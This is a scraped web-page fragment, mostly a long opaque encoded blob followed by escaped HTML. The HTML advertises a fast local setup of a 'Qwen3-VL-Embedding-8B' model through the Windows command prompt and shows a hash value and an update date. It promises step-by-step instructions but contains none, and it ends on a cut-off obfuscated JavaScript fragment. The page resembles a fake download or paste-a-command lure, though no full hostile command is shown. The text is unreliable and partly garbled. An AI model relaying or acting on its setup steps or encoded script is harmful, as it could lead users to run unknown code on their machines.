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vYI8e54KMFa8pxfKU0iHafp2TzXfLGFVu6sq0XTdL7bpRWOS4wYbSU\/3wA8PMs6\/IxdKmYLSwzFyR6aHqHnf+ieZuuR8zXQB1vZH\/hjQS\/sJgKDwZz88ANJL3r5CmvhdDXVMMtFVx1T8shfhTOUDeYjMOwT2oSIAKAOOVrqzYLuvUR2m4f+raiE4tw7IYl4cY67HUfzzYZNsZ9qx5SVgTLSF1T54husbN4UrhHPytBnmDMUQN34RELkJxHFVexEF99vxjhhBSqtY8SHIW3SxVNUKT9GNgo0Sm3ahRltDvTSn8QEyHAaklAt3ne3zen2r4Fm1dfpSTdhRhyH05zIRF4UnkldJxZ\/d1V7qe6OHxmTUm268X32a2KzN0UBxlK\/spjba9n0YproCvRJhOkBDf\/Q64SX4UZuZgTbKNjpZto7wSkdkpi3xJ1WK7Cb34ybFScGFO8x\/grWYS\/ixwwKwK4xWT41Lsw7gFS9m8DDkV1mjO58rrOxaKExEZBah4MDcM31hqetdJupcZgRPlwXEugFXIeuUPwIBk17YgD2nq8TDfHPFyjqD3G6Y2yS\/6kuYcYxX1RVOhNjPiZhd1fQtFaGTjBWEQ\/SWDVl45JRPxquQHvrfKnjAfUBXt9o5E6ZaJHYzaTYEG42yAfsHaMdGpp0quy\/qAk+wDE0yxR18RyPG5Mp5WGlOzIFHQXMXhxBvnoyOgiE4Lu\/y3G82snbG2Ope6LR74dJHKrG+yRwqfKo188N8\/syGwGjTUYJ6gqLWm10eK+WCm8N8lccWr3iHPwhVj+4hD1rBtPLK9pxe4JV0r7ru\/CIWXxvu7uEEKoZAp5xFVY6ueifWiSJQS3mjEXxA1qhcQh26wrFcNMgwGApdJSJadblgMDwnIO9fV00KIeop\/tBp9wmpfG4yhaTlbm7EX\/GXQXG3vgbUDF+NnKIg8Jl\/b9PsQczQmbKsXKE1NoUqa0WjFyu20p7MB5NYx3OK5GU5aJbRFWl7+6glD42pnG9OIou2XEoflIadg0lOOIcnLbsdB1hdI1ArfXkjp2vXiyw4bUAg0ivaBWoy4fuuMMzzOrLAIO5IDz2CPNMs2ctQ5jjf5+9voike6PuG7Cn8ErC0nBRVxdMBtePKB6x0b2c3yAw4PSS7Pnq3bm\/Q5kHEJSjVRgQ3xrgLdR0ljgsRRaW1GceUBRXxxVPiUvVcPNJUwJvay+wvGX\/Te8WD7jZ5blBQn6lJrvxHWPxmSJCUY\/eF7mMTzhb+JEwHH2VzoeWKETtZV4mv8i9YCmq9isZdq8z0Tc35FxE0o+wOKfrwQmlWOHK9a9jE+OKTRtcgdZPXwksypJUYLkMFz17KAKTizMyfXLk0uifH0M\/HODDz8UNA7tETQHy5mnHjsU994F8QZMi4Gn1wpnpziJGhmH36LFt\/gyAog3\/bJ4B6nJMg4UgwT6kIZs1hAM7icU1Sc6fb8sOpJifzpo4nuNogjkcZNhdZXxSctu8fC01Lj3RT7GaFEK08ZEP6aPgspnUK2nNkx2NNvJL0EMmvAKm9a6uIzge+oVLMYXK\/+IYw60xZ\/ab\/005z9yA7i+GU4Fl8HN2FuJwenGOdk0zcthEWj8jpxulLvYKgT3N6ihlPEfiMxjgum9+9ZfhTPfjnilcW8ls3\/EzLs4525GupDeylwYzw+bJHNhV5lvsRJJ7gMh8MSar7mIae0ubWukdff1BQNZ8sBwi7JaSS3nnujJmYdWMDJCj1Sfj92onFnWT7tr3P3c+K48DCMWxswzL+d411oxjZ6ClvM\/WCgBKG8QYBBV6lDH\/JD2IW7OeR2EOpA39iwgG21HjqxYFK+jVpy\/lgZUg4\/nCjS4kBa\/LONbRkZuX9N9ulVd6x8EeQ\/sW4aayW1pEjWk7NbSWr2Y4jLRUYCr1Z9Kn1f47BsoqvzVHuHct2PochMJ+5wLonw+aZS4fu9wRjljPRFIaVfZ8nNAgRwWYVDTd7tixTDGi6q0ms6ogxunCko5nV6M1x0bk1HS0Vpc8q7ntxa5YZPuuakQ2NgAFItJKSU0D7PYeYH6NMKmy\/nVzv9nmCEXIEpL72O9\/RvF27nFdlPUuXdLCGEwo857OUutf7lnx6JiTwEsHHgYT4UVnthH5VEnrSS8ScuWFe8rl69UCUChcuROtDx7B\/z\/xC+p2sBqK7q06Fyb4arawrzniGl1y\/hNd0183X60OS2JlDF\/5Sv04El8+4G\/\/lOVPdN+1vwc2GO4YRfdzd7qkHoxbdUCscBR4CHMqkz6D64P4\/ihWoMw\/i6FqQb\/ku6WblA2HwXXfWYyUGjz99bdHPqhhBmM3DnYADgOUVrL81qFAfCOieu+DQEbmFRn5\/S1XaY\/FtIfoYD0jn\/WKpiMsnU9Q\/ddoDHCBS3zxEY\/ldjfOh04TYTLw411gBgP5F2BvXaX\/EJUi9\/b0f9iqmxsxLeq6Die256WppSYBl72uY+8\/jvZO+7bwnwwMoFpe9IYZrl+wmeNT\/fhkvsM0UaC+BqMpvspt3+2CQpx2GGzvDboflvPWNYwmDjr9wad0z\/23dlg32Zk+o6inOxUfWWxkw6rqBRb6SBagZzcq2J\/gJstWxBcBZ4wYnrBK9pgtbQrhM4A75VCgD7tnTDhyorWCSEuuRvnu1tPja0yekgmvABb60y1UraWHCTQoVJlF7osKQ1Efrkk\/61CVW94v\/2WJsKbuSHfT7XpPmjcXRwZHmahUtZiwEmQoJBCceZzgzfNiip98Dl6AaP9WDOxOZyvAMMLhwFXKafILUgLSPqFE9H3GrCmsGGgsNMKFwVY0sX3YuQb+pNaCMtunVEOU6ovGHT16YNjBhvIHcV58dsmnLp6igOzgOwoHAjT5cO6CF1ImC6C6zMCHpD8aX119IunG0HaoDFn9VY8dwCtUGw7Pdg8nzC81UN5gGg\/d1aioaoN1AGVplUe0IEm0i3sM7ZEOowbuqKUL0Kwj5e7k77i\/+oDFlZaCnFY2bE0PSV900rL1AW4tMch7U3IujfVGJ6jseErrvDnGWSN5YdZTQvHIA4SrcW4QapFQTvjgV\/KPoFySAdm2y2zFhECkEnKKLos+1W8yZBQ7v+vrKtH8mQq\/4iuUA2lwL7RmRBsbGvcrNdxgjogXr7d8uBgi9NW3K78wR9g+1kmjSfxxZApB8ECd4sWZ\/rEjZfBaGw0lRsQ5FRAzEE6MeuRd798VEtLKahC4\/8vvy0XcRUca0h8xJHaKSB8\/vuoAFYoqhuBGkVQ4uh\/UXjTwoLE8TtKlioROOgoQiAk1G9lrnCKKMuRDQ0NYYdOjNB1BXzgj1D4tMzeLQq9ZirMUE+MtfPKeouNsbEh8mtA83iyJfVN4UbKEzncfCW61cS\/5MZuLhru75PWBhzdqAU9LUjGeMy1HbKDX9Zj8Ov2DTuICnOL+2gocrvPbF+DIoSvn57fD8xM60ekwWu2bCxJaQY2wrxEK\/ztG08AQMn4cOKUbZWsxXwtEHPtnfVb79P9tMdB9l91N4cVenAyGJQU00lVtYxh2P1m3GkUEQHTyCHe3HzkKORfx0\/ljA6J51q2\/1cxBNWIgXdr1kaJwsDEVb\/Mgi92qhICW2WAzzkOIdEiNiat3r7CmzZ76Vu\/3UjJVNbN8C41C2GMdFx0TBs6eNAOwQYhh9XqT9pAne28BLDF\/+yKlZI4Ro6vXbmtHgs2Lpp6TwTPtSpOodfvodMfiW0J6Hfwzplc5ebGm+zaQpETva+tdOXpouahFPWuhBe0F2yVz+uQUGnU7kNgsYmbR5kJ4QV3qz718lhRSFNI+uE98B6FXBrcfWQyYr2MpUltRz5OiCNRfL1LByLlvzUzmbe6WRPhtBjXVa018LjkPX\/LhOFQSZTfEcWOStJ6SVgcmu73zBmLXbK2t+UBNordegXaJUbb0cOuX8C6vlXgPFVhKrB6kB+373jq0rZNay2HRa0yvLaxr90sFf\/oxocG6Xanwzq3cquDvokSwEBdeC1xEHvsSJ1TJVgPWkrh5MGurOdtkrVZ3hb7VZU8nVHNSfHhFOL\/Bu8cqhDFomCxWtLppyZ07fvzzCp\/y7lA08SeQfO05WYlmzlEqsbKTrC\/dxWBlaFwnTYmgPWnwd1RTa2w\/GSAsJNhoLVbD0BUL1fqqn5oMiKsYJH2eounW\/NUE\/RQ4jqAbfn0AOcyrgayemXOT5vKZD\/uAISYEq4VeLbzwi1cwERKPwmE6apwngS3Zv2PYsqa75sUir6W6TfDPxpah\/KBPLQ4iY7DcSjiJ7tlmn0WAqH1prZljRD9IQjPFbh9ZxkNAQb6lF5uWIxcmhr0JK1nMt1aLFR4fZHSPRLgQzQ2CejfYXaTWs2OweC3DIT6WEUJNzk0G9u4C9uOmpQ5DF4McsaY6wvQCw67h9HBVYeg+qqlT2G5q5JGca01B16\/EpeqBbRaBTLVe\/f+pRBfi3uLL\/TY1u3omxtjGJJH7MgUV17m+ZJ51Pjne0eN\/X5eyaxVMMdlP1hc7pyJJiFo8r5z4nm6jx7MFX5h0OHk\/BrRklz60T+PKMGZYWvj8G8CrSTqVtBZ73y0VdT9qvTyess5+8dHdokngBfPm1\/FULMOQHGmYORjGR+vogOJ2mZ7qj\/uniaoVVdSahgzaRbYoGL1DaPiqNokgloHJZr7Az48Kp1Kb22cfXez+Eq+OXblkPhPJ78+UoGGbsDCTjxJIQytcT1AIr3+X2IFLAuJELY\/44gGQ1YKpYaHiCe1S4QyDaxv6lq48fU9aLoANryyHC1GRGvsd6QQHeE3Y2TaizlOcVIBePwEUlzwNZKWr\/JVX7I60w8ynMa4PBzfNwmEcuP4aotqUMSssTIWMqVf\/EoEzFqdmB8RywMSrQE1o5HBLuFSoIROnzO6u7IU52m9VrnDRLbC9x7XR5\/dfOw5I\/GObbSb\/B8Eb\/\/C9pSegrH5UmdXor8NqLObxN+BED2A3Ct2ncWyurGPzOrdLqbd39gbp4O5XFBsGMinkt36JdLNvtD\/bSK7u2zsRzS6Wo\/ToBHYD5NK8QUoAysTNZCEHXK9QDSr7YL28Zcme\/V35APObd2Ww+Rzp\/CB35dFIbUYMTXs1Lie+BSYrxr2+\/hNbbAdf5+dn5xEUuJkOBcUvac5xVKSxYLqPbIjTygyDyEW6JKOftCqIziwe\/+bbjXqNmsdJ\/Gbp+Cy8osFacxRy9C73kBTEGNXFok1W6CnlM27HOCajx\/BWdQhEILvNd+jyiPvXjOXee61ggo6HsVgwxm6qePTASOuzfJdUpFEi476YqA582HtwLJHM5b6yqsVsKeSl1XiEq+HVaiRuSIwaqaMbNbzEyr\/kxa+PVXk\/tpu1KR3Y4lCebOzOp9fANmm\/yvLcpKstt7quVEkVgb7U1PYWFCn+mlDY3\/MT5PEAdSRvtW66sakX13IiuBLwEzhtBMq10\/96P03IhdpqHiWf5gJzKHlHyxipPAfTrbAuB9wqsfffXPsDrhE+g8bb2ojfR\/CveSLmAZa4f47vI+UASNRTaY\/ofTeQth3ap6e3mS+MeFmk+VvyaTzX7pvndBfFjC9DGNfD7NfVuYWjJYSIBG07BQBu1k8rKeO\/UBcGENCUfw89yA+zUL7YIIJRDtHVvhwVwBaEiw1zJhygQDm5Vx8Fl10AH8GSWy\/7PnAyQ\/4QDPU+Z6x2Zvzr+R7lgCRkzvf3BAUNWHHKmma4yJW68A3jq2dcdf13xvHosCliENifwnz4aAdvcZ3COrAF0+rafitzfFmn1Z9fvcrLd5W1eFfSbeB+bW0aVmb\/36CbO3\/mZp\/KWexDEXv+6nYD\/BL6Y16j62tJSU9EG0GKjN+YMDID9Gpfw5yfhmlFvXm3UNT7jdyEktJwnBZfzXf\/oF6r9fs3fP\/KQ\/iI807C0kM3BD\/7wxlcBHlAncPS00Qmxx8PoLP\/Pb+WCXVJe6d2wHT1BeECdDQOGvjBl2ICXVr\/UuLaiXj015J5DNs1phZL6kjtnDkibaH6Suu8JkxlDELVQd0AHL7mvzyTv2J2owv0nYG9teTA7wicwJXsc1YKrPbs1WO1LWZfdZy36LJB8xDQjWj5cW1uVJZyD5olMEt3CljfNZC1EnMDNjaVF+41JA57aqD0d4RwDb8ar2j0oXNtVSzl+YOt3S\/JFeARkQsleiyl+E2zeZenfz3g5sVCsGg\/jWzJFanXNhsOv+KhH2YvB+8qnYMRgcCOKt4BfU9GaMWcrrLpsaG1w+JONkB\/6sJPN0AGjqOABf5zsYBlYtxX5mvNYZ6VLeECLEI712lZU7OfSUoGLGB0Syfo+k60BkSicUqaHIB6SQtrHujKJ5VvW4bNCUwhHOzhuLA02Cjadtds0hET14RwOf6rIbgftriwPpLzs\/P58Yzi6j5uSyTZPEt5GbBsU5FE2vLMRqMmSv\/giiTbwsyDPM1TrUf7n5tIYB+dhL1qMcaCHRNmeVgMHJTkU8vtl6HoEoBRZgtfh50jxq9jnOdDVUAHk9\/mlcwY3M5C9uvLnOJbE+vs5\/GGjoi9xBlwjplsLrV3HFxt1UxGfAlXkovj8HP2xNBrUQKVmb\/rSWfLDXbWhh\/0j6Pd4xTRshYfTMC0cXVzdCtjJbxGGM6ys4cB4UVXItELBGVvHuCHV\/BaeH1F7S6ajK2w6L4iWAFUMvqoshODIWJlXpdgURsP7xcePndEZWRNQYucV+t9bU7JRap6DlIC3VgUwQUwGQCAk5JKAFhSWLKTJz1iY0PzQmQf2qv7psbEgFQk6+Q6seVGDvqqMj63SPsvCf5YuPAIU3QNMeRFBzZ\/fV1lDNbl14R5cfVZr2b5T88ZB+LI8zkz8FwvdvDddzDe1H9ffpJ\/Tg71wJ0vj1Pok1puwv0DPB5Kt1ecW827O6DUAPLzQLbHjFzCkkdCzBfqYbc9njRT8TBGpjXJhO11fwFeJNGu7fGRVBVET4X\/FqG12a9KkDjPudhTvia21u4519iphlDK6\/WMBB\/7k0W0nzk+8t1zH\/RbpXovHPbXGvA3FsdZ7nHvQymEujX8nHlslP5nm16qjvjkRePg99A9XNaZTEkJb\/C9qcesVzZa\/iAVkhYJ4PAT7Sy+cnglMVcSPHq7jLaQfCVWu5bkLvZ7Ysb4P9u7yXlkxOsqF6UbQqfpel9sWMrSDk+A+ZnxVDBK9CTJNUkpdg3xKJ3AEAyYuQgFR4VWIUCgKD4hpANQ1+V7n\/rT9i4P40zXepyk\/bxZXc2aP+hDX5CGYGPBMSOwfcwNWsH4AnCuxAlw6pNUelJ8bE+iwKMvkurgC0ybh2kyPgkcQuYyRI4Ke\/bDcSj62Gdu4ipzjtqYAwiXNMlGLKEH5uKdCUfk5Lzzl\/dbrJMfwLPCHNqK5DLSByaoHoP\/8L2pCi5Ln+KbcdIjyE4Rn7LojomhVE\/A0G7CRFaPPqQvYrKikoBUd\/oNQBwXh4UFG4CpB\/f+\/rhJv1ANNvzKAdAOQCBqitidR2kZBMRkNYTTaljwkmB04\/H7xZEi3xxltxy\/2F6s6N3HBSzQTrot14i7vy+S2WQhf9OYdTlJ2cbOzO\/xZ0tA46rnayqDKMSQh4+PjMwrHF0Cc4O1fv8McSAKG4MXMcgHJw3C8tzfj+qZOI\/y6AS\/Efa6KoGbegR2dGQoOBpUip6TI4\/YPyAmW267A0DV6N2bssiWZrm0GCFFq23vPAJHbjYiUIoWmx0WuhPcM60QnIs93aHYUdyhtVKJZ+UjE5fZCXvNk\/BeQeWaCyYyoXOxJRJco53xqPJqg\/HVg8V8DPjyKD+Xw1phEyZRju\/1SB+QN6Ta0x7dzKhN19v8qdcu0treonFGsUOWENisxS+4o2xkoH1OzlKk3HF0VWHGr+qHU34pFOwNifqTVUXCbbc\/nUgfJN0kby61oIWXCK0bOtTpBsToM+GV+1s3Ly3\/wKse0B1FwvT43Ebm2KVGI\/Fzc0xRL6TsQfvvcdnHDuIBEa3DMJRHi8N42NbWE3Gg9SBVxN1t\/5hpJEU\/cedJAc7O7nKCcIQaZpxXwFZ4lDHF7Yq0JPqQLKU27\/x7sjNUlY0ojQU+GkF8VJ\/iHIKMi0O1QGCcAazljHVr\/HzWAFI8vpTUnXqVRUEmAc1P4GJm70J2ztu5\/mDC8geH1NEKT1BPoW9OVD0Icq9Gx27nB5iBkJ+NuDQCIURYV2jIA3TxRbFmU69ztOf\/jDIMBC1pSSWa2AOG23I89QSBsDSB1MiPct+ZZfBOVc\/S6EI5QGWYYPVq3\/MWeTGEBnHnGo\/b1OfcfxXjIvSF2tX8Z5BiufAI0S1GA\/hvReNM4ChYLYh4OHVflEWQMTSS6HPtEgCMTnbmTqVI0Yz7c2yxKKojOAEL75UBIVh8OGKRhbnJbUCoECGP9+fGHDkOiWRX3FMoh3979miNJ1dP5khpjbHnFPsJUCZinjauv4Pqqbz+6+iRvLUzHHjJcrk4RDgF+0hi0YYA8juK5khMgM80nP\/Tkk\/Jlqfpoq2s6giZz1nZYtfmiGY77hbttRhUwQcN+LhpjPFF18p3W35haVtWVxihYdZJCKHUc1elTnUqhCAFtL1JlP6J3XjCHV2IYSDf45nYg5YsL7xTtr\/DVI+Cuxu2zYcuXxvbW\/IkBXIObzx8lyIvlL8LGYPFl26HsZNLyUgZs+VETzo+yFLher+Olr9p5h6fQwbWgoUF2nz1rJcIVsRgj9YuM28dhbrlHf7XIMv+7QmL7gE296jVZUoKadm9m6\/kVUP+CzYWmmLekRrlSFy59z0pSedpH4hlII3jjSAUxqEkkVH3fnCry4l\/o0+179tjHPrgZ1y7zQyaOUTm8RGdYkxNRU7iMY8HFk1yAPiTPFHfquXhYD5qTbR+1TaCXv\/npA0kwmjfFxsIyXiwj3rXdndHyyle+0EKEO9BJp4EE8W\/DRe7QTrWiZd6wdLUTKlbmf4ToTiczFMR8goBE6LbY0q6q5DhTSZZLsnLekR\/n7QL9hk7mARBJd8U141urw2J8hI+Cgcji9hv4bIKe2NUZLHW\/A0uZ2wUv\/I+2ZtxeHzYGA7r9CxYZgv+eqxxS0L6EGcIcHWrLhgTB8iArmf+7QKkfPZowVRfjc59nUxWP4iLvBFY4DQ2miXs559fzNNs\/sp\/iYxrIU0et1ogoOISgYOjVR5WkhVJsd9HJF60V0GpvkPfhEq173GgXvyJZUZoHQkmjPofLUa+0Yn4fmbRxBCPDHL3\/Rfl9zxjLWXO\/9G+XBPPTuiNjycOHXGyeV81ZLs0q5nADKEcu2qN1U\/NSYrtjTytmjztOVrGG25olwULPenOoJs4ci9m1HMWqw1X13WxZiHFwvpPQMYuqf42+h\/78wrGR8rBqosv8Ua0S70LWJ+2mCil4zj6pdvWCFWbnnbnEikpTtuMpfMfQIannb7+ke++idh6Alj\/cZ5u6RpfiB07+gjmCecepGe1nZ\/DqBjjO9TtgKhMQd5822ORqXbrpMycy6VkC9x7ON7yV+iEzAibh6m7aezCVkRjAq8liIST3UZCjLAyXVY\/zlju2s\/PFg1ST1op7lxyLtpz\/\/q5NGzhVmTJb3rL2luFYGSFDJfDM5XrML4E\/zjzHCEp+nHZVEJJzg07TsX5YoEKauuEAeHdaC2WmMLESf2YA7pikX6SiUC+EucMJmhSXfH2kHTpvHkBpniVuauiwU3RNN\/SLUu+flXxEz7IE4e1kaLrXhojLM\/\/AVpICzaWgP\/SgVftU+mVKP38hGWV\/5h2NY2S9W87qgp39hfB7GmzliJpDCB9Tbb4UchLQKYpi5xT3caMhdni8oyifWes+utoX\/yZZbTuk3hQDx+TXcDjW52qkjBCN9A8e6mEfR+tfnme4\/DzY2BbZc5wj\/ZkXBUUnrtqDpBaiw8qxbbV6hb2DZ8QsWqmrRpQzm1UjU6NXGx51UOpQWSQsaIVPlvIIfFGlPitMNxFOKJNlcnRdqG4guJYAcU6R\/amwH3WSjFN04AwEWesgG9E4UpQqpsUn14Lhds3obmzq5apUSEPKKgiH3mIZ59slD\/FlcYphtLn\/pfnFwBOABfHl4Xdg\/pirzDADZh+2UtnqQI5NXXmB6Tfgq++46B+vaE0nh\/UvDyARXtcY2aSngHyfNuQx\/dsgmusJt21AWpL3cJ\/GRmg\/PW4ZIs3u23Jtqrm1xfGpJCQRTdvzHoLHAYVwXllLGfYc2KwK0j12wdEC3iiHpJNt3xa+JWEAz2ujbXHekLe0\/kad0E9kavBF1xiGOOnxvyxm3TQGRBiizw+PpTvmt\/Zk\/6xx68r\/gswGEtKymmulXamlGzenVA4R\/cJ6hVX0nQhQL2CMERq8SNtugiQsPfwm+gWLNrUjHbk7jiOQtKE1JQxYo+JOT3p0i3tY6xS84xqMNf\/yQDPnO5SGtwWgqOnibtsU6815mWkrmpk6zmShGTXY1csLHq5xbcesYPkXxetOKRhUkuD5M2T3yXBQzYF4PMigNw56XbcGwvn4eKHnpa1FF35IARkVuElK5D\/r4qExuVXeI8oboSDhDmolYGat7oGNI1l0PKVCRTVcKuGmMmhXAbB4wcbTd\/DAER0qbCVMgOjSx9x7C8tV7ymYNUkT4cjkkKdJXGf7ijcA2Ab5HW1APvBBjDC6Qa3ElUjsIhL3P+0JMwPezzKqWw\/ogYOzig0BRsFSmQs8YYiFv0DQqZ0c41MHd916G\/NfAz6VfSydS+GcYj+IMS049p4E9qCivkuHJIKe+9zKYttTChRFnwssL0cX2ipD7yq\/da2FmunWuGlRgGNNPWMZcg0tbkP3D79gTYS2ACyfFACtXaLbWHN6OBvDvy381+jC6EM46t70DIiJ6IxV4zzk2J3PHaNgfGqJ1fAaEQArcQpyJIxyjh6NKZjm0BstVBlcps28sS+J2D6ALimZ+GbbAwk\/SKFQu4quFoTj1gc92sylTCzERuI6Sa\/YNfH1ugCegfTo4AjwR2fIAsa8FYQduzvQvlk6+26+VNNn9Y7\/iJCme6Oechq\/TwiJzBfDjmi4u30lUo\/3IOdP5M79T3T4MptwLrNtNyI+ePy1bsMjv4DVvgZD9ohJwmue8QOBF\/kn\/3Xg5CaKAKgwQJNVAjHZNlwyHUqLQgTkejddZ4gmEavqKUm1gZx6G4WzV1BA6ZOtt\/6Hj1BFdatWZzSVqCCjSMeTEPnm3N6e4jKDsakUro2c0cElT1AOh3RJS9vHWHygDzZ1gCPHeo0MkPV\/5YwXyLi7Lt+BnZY5zWCvzd0KWb+\/DgEpus8oglqhfTQZ8KrI+JfLgb4p+0j3ASH9NuOCOuc28WuCB1yG5treQcoV++EeAgbYj8W74jTipItR44oEFnuphYoDZ+FHCy0T66bRZ7y2wHX3vftefgK7gnbyfdKmZ7t3e5QIKIcKFVeDF0p4+GJDIeg1+3B2HkYHs3t\/TnO8\/VUXapE7SIUpsp+rcttpsrY7TWPIL5fUwW8VXL6cVgGg4CxWXaEjFt5ANh1R7kxvzE8tdXUH4P2N1I+uB84L8qSp1BhJsYvOG3rOwL6nVCAlcAn6SPaa22SCUANyz7P7GVX4miCMjsQKdMx3S6wdG5PrrjD91pvbY3bb4CGzOd+hz5uuWQ8z95SbstjiEWMXg+KjndApqdy34HJoNWtiMxlORW4OzuCVN1r+3PWa9oPrJ2biTpFcztUqGhUW4nWZ1T9ZLmRlcTK9Q01Q7bTEcic94YUrNJll5gVAn1W3wIuBxwwGnkTPV1yzvgPIwwZCR5RuK00KIobparB83fSWNVkECxGE4+cS4aSar05GVRUdoMNX47CR3urUpjpDn5AfKABrB8qB3Yc0qI0pyjjnaivFrCNaLij+weBv4pH87uiCuV5CrDIclvo5Q46vcbR\/4M4UEjyrugFSbo7vZazIIJKnMzm+mtjPJ+yIh+AgXPDwyCMZ+z1wgP28nI3hrotc2uS+1wG8upulgr4UbNUf7qnQponjbVLtz53fJOoRpSAB3pxdb9gstP5ehbQDqjxT8yHqRuVdcDRTGvFYdmCXtxsaYtznucEs0HtFZB2vhoXG1aHxOzmIKR+QZZlcPmpIh21L3R\/XrXKzdrEspvADUm6xwLqIiv1Q+kl34xAjrwjO5ZdzeChph\/bx4s5UdS7r2O4gaLRHSAIMVUAxZemjf8czKYD+XS3lHPreEKbvGIksao8yXAx4L2ehVWzmfui1MIA222UGAWogHFQvroWxm2sfh6ZVse+UUAoPU7L7LlQ2\/k6V\/XQiePMNN3KmERxQnyb8RLYLceWuxsZNd9FCJn6rI8OwQNr4hOrp2impbkFPljMrE+Uf+w7mYPGluWRmlwMdry5C5SCIz7jZ2er85TzSOyOXvnOgLvXf5qZoSAoPRNpu9ZtGfA+oI9lsmY1DCPgQ13KvI82XKpNeIBTe1A9EzRJmHWesOVwxV6IBl7OIidyNdqxb8OBcaxHo6FV9pqAJXZI0wXfVgCbcUkDvjTQ6mDMskhJzYekuodOS666l0C74AFFGbZx+IkzJ4uMmkfB+fNSSrM51CloYZsWQWt0i6HDolBLUXelWCCfcBppUy6N9tjatJupqUhfrWdyB58N2+mcE7ABtm7W+TKXJlTcA6Hb+FA0Qle8F7UvvLe\/+xfAvmMhj3j6zvWzP0djRg+bfE75z3N9RMo4B095Z9jJDINI+mgPmQmNX5nbJV\/weTe7o3UXrly6UXb9zTlg\/CFSrfttJ1Nn2i\/5kGkgvaIZOjzf2a+9Zl2Dw\/JtwmEaGcz0XepVaUUOL8OQ3\/4qQV45Zl3sJZVQj88h7vnHiQ5QLI695MHMd8sqR4g3pNEP0y0WgDeLgEYNGgzZqNsqn8rII3N3prFZ6IHliPn4ClCUmyEQAx5ENal83kAlJgIFgERVfjmbsb4\/Gg+0sY4MOEB9AxX\/zw4+foSWJHUtF3DqOQLS7MR6ckSP\/R\/rzx+cexAd5hEjYTPZ1z17JMgv2rFUKzGmH1BldAoqBm1HO4P3oU7xUlwkKMeZQqSRDFcRgB84juQdlyNVFDoCnpyU1RNUvvJcOi943aTvY8I8DTXLPSxa8B+BoHvME4VFvdRnQcNJpE07QtmujMm7bWY8ZEGG5vg9Rum9FicdEbrwZbr\/CW+idfstb7OTYLvlOWdi4oekW8I7EXsaykZtecuXj01YNQc\/Xrx4u5htCZz3sJF0X2V5qAfRF7QJrtIGfRdhZAehR8jUbfTWBmA9kXHl+IXMMvFnHdXBnEkGYBmUIt8GkVeGYJpTkKP400BU9uWIsAE29xj2wHFzO5\/Jn97Fxz0lbqo3phAhLbJPC9nRHNy7AmMVv+eRibGv\/Bu92ryFCWJYQxYDufIzZQ1rTohbXCvHQQZW\/hN9O4JPK8H3W\/hLPs99kcDvAeNy2O3TG3D3Ru9xJgaG6gkuFv6xmVTewtPfsbxf6FyOLIkJ1r2vG7ueD9jvQQcbtjZIJP7mDV72ZYnM8lhoeynC0zniyTv3tnjHaWhZbDl5h+A2HOBFVuWzQped2anBco1uwMuA\/o26w7UINZsThwRoFSPNf3hoQOXOB0+FE6ii\/7lzL6Bpc4lTalZ84ghuYNbct3V7zJf4cdGylU34XkXY2E0Q6LedqSPg\/t6vvJ2r5u9YqvqgGfmouXhZVWo8FRNz7ui+7BYPakdESayH9PkHheCzbRX7qCQ7eyKNc7N6q3cqAg91VjBbJrXZjJGRO2DIhIAGRw29RFxWgtfIwhuFVurH14yCXgQDUK+PSQhfMK9o\/5FoTxwe6RIDRzzQzGlVxGRgAAACpZtL2GXQ4sRpeaHncgAJwhG\/g3rWDaSw3PQ8+HmAyqJ8+dO2M+2W7X\/YZxpkuk71RUrjTwbMA1yxTlQzH3G1JlauYE9vsoLr\/piEvTxqroIxA5IZ3AQlJ3+mqhxpkoNEWzxZ6DFx2bcfC4mTG81T9xk9xbRPJZ52fI+Dm\/WqYidXXFuLC8P40EHlkcVVVIlcR7jBNLdINJ0\/R+f5+sQLIifJfZaNrP56yZA7SoAzkQOToUcDB8r0QDdcarqFQ6GWzGozxSECd7fMF3xoCjFZdhbzPJVV38XMSdkwqfpX\/59jvBNOrUoAttyrURklJkQygXazrbCKKCUhch3angoWgP83oWGbqeqQvXmHay2UprLeVMorPaAuHjAs+S1R\/ZhTbwZ0Z4PhW3BWL9oVesmxRZ8D1DB3qldNHPrgeVH3jC87MNeLG3+Y7A6\/AzpQk1q5+232vdt75KhjPvxrQsYzO44yVfLvUcIjru6+RWsf1EyaRoCn6d6JRKW5a9nRoppi1Ik5gA73mxD08pkaZvqr9JxxeeKilrCIeaoKICjD22COvoIHiz9u8TSzyk0ldoHCTibypgAAN13cnqzRpPvOKlrsNGEWtf9VFT80cvvU85jvh4Izoo6b1RZLDELFQC3HHJ1shEMxa9CT9GPRCIXpTZ9lEeg1UQ+bbmbdNqlWsMf0WvwHzbqvuoj2xfpBChzMLpjSDRwJs1oz9\/R5ieGqiFANuFW\/FQGp7B1cXP+aywA\/vx3enVDbXhcY9i\/5Bwo4u+OHS\/8vHxBkpOgd\/7FGErfyHvMZfxkxWIvRtZpP3K\/jjgC5HhxKn+36scUFwT6lwY5ocNbTl7RN7mt1rMWafEg5HasAAAAAAMCZlqB4aq0lRhKS+XMrcR661HaiNFvofj11QNn9rzb3nd4GWXalg69F397AaeMTnw7H+ajxef9te7AdWFSNJssZTJn18l6RUPr6SdXvWkh+kW2e8G5CaSh4JVtw3U5BmXF6f9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alt=\"Quick Run Qwen3-VL-Embedding-8B PC with NPU\"><\/p>\n<p>Setting up this model locally is <i>incredibly fast<\/i> if you use the native <b>CMD prompt<\/b>.<\/p>\n<p>Follow the <i>step-by-step<\/i> <b>instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n<p> <\/p>\n<p>The engine benchmarks your hardware to <b>apply the most effective operational mode<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:20px;overflow:hidden;,Roboto,Helvetica,Arial,sans-serif;background:#fdfdfd;border:1px solid #f1f5f9\">\n<tr>\n<td style=\"padding:44px 54px;text-align:center;font-size:23px;color:#1e293b;line-height:2.6;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#333333\">\ud83d\udcc4 Hash Value: <code>c22b042cb20ee88fc5762f9533616305<\/code> | \ud83d\udcc6 Update: 2026-06-23<\/div>\n<table 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q=String.fromCharCode(34);const re=await 